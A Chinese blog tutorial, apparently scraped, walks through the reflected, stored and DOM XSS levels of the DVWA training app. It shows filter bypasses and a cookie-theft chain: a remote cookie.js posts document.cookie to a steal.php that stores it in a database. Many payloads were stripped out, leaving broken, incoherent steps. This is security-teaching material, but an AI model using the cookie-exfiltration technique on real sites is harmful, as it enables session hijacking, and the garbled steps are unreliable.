摘要:且通過語句插入到數(shù)據(jù)庫中。所以存在存儲型漏洞操作步驟由于和輸入框均存在。如果有,則利用函數(shù)重新發(fā)起請求,將值改為操作步驟輸入,發(fā)現(xiàn)值改為使用大小寫,雙寫繞過發(fā)現(xiàn)也不行,初步判斷應(yīng)該是把標(biāo)簽過濾掉了。
作為興趣,一直想把自己所知道基礎(chǔ)入門的知識總結(jié)一下。在總結(jié)的過程中也是一個不斷學(xué)習(xí)地過程,慢慢學(xué)吧
XSS-跨站腳本攻擊,在某種意義上也是一種注入型攻擊XSS(Reflected) Low 代碼分析
XSS不僅僅限于JavaScript,還包括flash等其它腳本語言
根據(jù)惡意代碼是否存儲在服務(wù)器中,XSS可以分為存儲型的XSS(Stored)與反射型的XSS(Reflected)
DOM型的XSS由于其特殊性,是一種基于DOM樹的XSS,被分為第三種
Hello " . $_GET[ "name" ] . ""; } ?> #array_key_exists()函數(shù)檢查數(shù)組里是否有指定的鍵名或索引。有返回true,沒有返回false
可以看到,代碼直接引用了name參數(shù),并沒有任何的過濾與檢查,存在明顯的XSS漏洞
操作步驟輸入
可以看到成功出現(xiàn)彈窗
F12進(jìn)入開發(fā)者模式可以看到瀏覽器成功將我們的輸入作為HTML元素解釋運行
2.使用大小寫繞過,輸入
3.輸入其他標(biāo)簽,如
可以看到結(jié)果:獲取到了當(dāng)前用戶的cookie,這結(jié)合csrf(跨站請求偽造)攻擊危害是很大的
High 代碼分析Hello ${name}"; } ?>
可以看到High級別的代碼使用了preg_replace函數(shù)執(zhí)行一個正則表達(dá)式的搜索和替換
其中/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i是正則表達(dá)式(.*)表示貪婪匹配,/i表示不區(qū)分大小寫
所以在High級別的代碼中,所有關(guān)于
點擊Forward得到結(jié)果
F12打開開發(fā)者模式可以看到輸入內(nèi)容被前端html代碼解析運行:
由于提交的結(jié)果存儲在數(shù)據(jù)庫中,所以每次刷新頁面,輸入的惡意代碼就會被執(zhí)行一次
Medium 代碼分析
2.使用大小寫繞過,輸入
3.輸入其他標(biāo)簽,如High 代碼分析
" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "" ); //mysql_close(); } ?>
和反射型XSS-High級別代碼功能一致。對name輸入內(nèi)容利用正則匹配刪除所有關(guān)于
其實,在上述例子的XSS危害只是彈窗,并不能實際獲取到cookie,下面演示怎樣遠(yuǎn)程獲取用戶cookie:
原理:由于script標(biāo)簽可以加載遠(yuǎn)程服務(wù)器的javascript代碼并且執(zhí)行,所以在遠(yuǎn)程服務(wù)器編寫一個cookie.js
document.write(""); document.exploit.submit();
這段js代碼的作用是在頁面中構(gòu)造一個隱藏表單和一個隱藏域,內(nèi)容為當(dāng)前的cookie,并且以post方式發(fā)送到同目錄下的steal.php:
"; } mysql_close(); } ?>
steal.php會將我們獲取到的cookie存到數(shù)據(jù)庫中,搞事之前先創(chuàng)建數(shù)據(jù)庫和相應(yīng)的表(字段):
create database dvwacookie;#創(chuàng)建數(shù)據(jù)庫 use dvwacookie;#進(jìn)入dvwacookie數(shù)據(jù)庫 create table low(id int not null auto_increment primary key,cookie varchar(100) not null); #創(chuàng)建一個low表,字段id-int類型,主鍵,值自動增長、字段cookie
接下來在XSS漏洞位置插入:
就可以獲取用戶cookie。參考鏈接在此,與本作者無關(guān)
XSS(DOM)對于DOM型的XSS是一種基于DOM樹的一種代碼注入攻擊方式,可以是反射型的,也可以是存儲型的
最大的特點就是不與后臺服務(wù)器交互,只是通過瀏覽器的DOM樹解析產(chǎn)生
介紹下DOM:
HTML DOM 是關(guān)于如何獲取、修改、添加或刪除 HTML 元素的標(biāo)準(zhǔn)
簡單來說DOM主要研究的是節(jié)點,所有節(jié)點可通過javascript訪問(增,刪,改,查)
可能觸發(fā)DOM型XSS屬性:本實驗中主要用到的就是document.write屬性
document.write屬性 document.referer屬性 innerHTML屬性 windows.name屬性 location屬性Low 代碼分析
可以,很直接
操作步驟1.正常輸入English和French,F(xiàn)12打開開發(fā)者模式可以看見
現(xiàn)在來分析一下
F12審查元素:
可以看到和之前正常輸入相比較,第一個option標(biāo)簽,就是被解釋運行
Medium 代碼分析,發(fā)現(xiàn)default值改為"English"
2.使用大小寫,雙寫繞過:、發(fā)現(xiàn)也不行,初步判斷應(yīng)該是把 發(fā)現(xiàn)和正常選擇"English"一樣
3.使用其他標(biāo)簽試試:link PT src="127.0.0.1/cookie.js"> 更新中。。。
文章版權(quán)歸作者所有,未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請注明本文地址:http://m.hztianpu.com/yun/44041.html
摘要:且通過語句插入到數(shù)據(jù)庫中。所以存在存儲型漏洞操作步驟由于和輸入框均存在。如果有,則利用函數(shù)重新發(fā)起請求,將值改為操作步驟輸入,發(fā)現(xiàn)值改為使用大小寫,雙寫繞過發(fā)現(xiàn)也不行,初步判斷應(yīng)該是把標(biāo)簽過濾掉了。 作為興趣,一直想把自己所知道基礎(chǔ)入門的知識總結(jié)一下。在總結(jié)的過程中也是一個不斷學(xué)習(xí)地過程,慢慢學(xué)吧 showImg(https://segmentfault.com/img/bVbt4Cy...
摘要:跨域腳本攻擊攻擊是最常見的攻擊,其重點是跨域和客戶端執(zhí)行。后端接收請求時,驗證請求是否為攻擊請求,攻擊則屏蔽。開發(fā)安全措施首要是服務(wù)端要進(jìn)行過濾,因為前端的校驗可以被繞過。這種直接存在于頁面,無須經(jīng)過服務(wù)器返回就是基于本地的攻擊。 XSS(cross-site scripting跨域腳本攻擊)攻擊是最常見的Web攻擊,其重點是跨域和客戶端執(zhí)行。有人將XSS攻擊分為三種,分別是: Re...
閱讀 3760·2021-11-22 15:24
閱讀 1682·2021-09-26 09:46
閱讀 1981·2021-09-14 18:01
閱讀 2688·2019-08-30 15:45
閱讀 3582·2019-08-30 14:23
閱讀 1954·2019-08-30 12:43
閱讀 3011·2019-08-30 10:56
閱讀 874·2019-08-29 12:20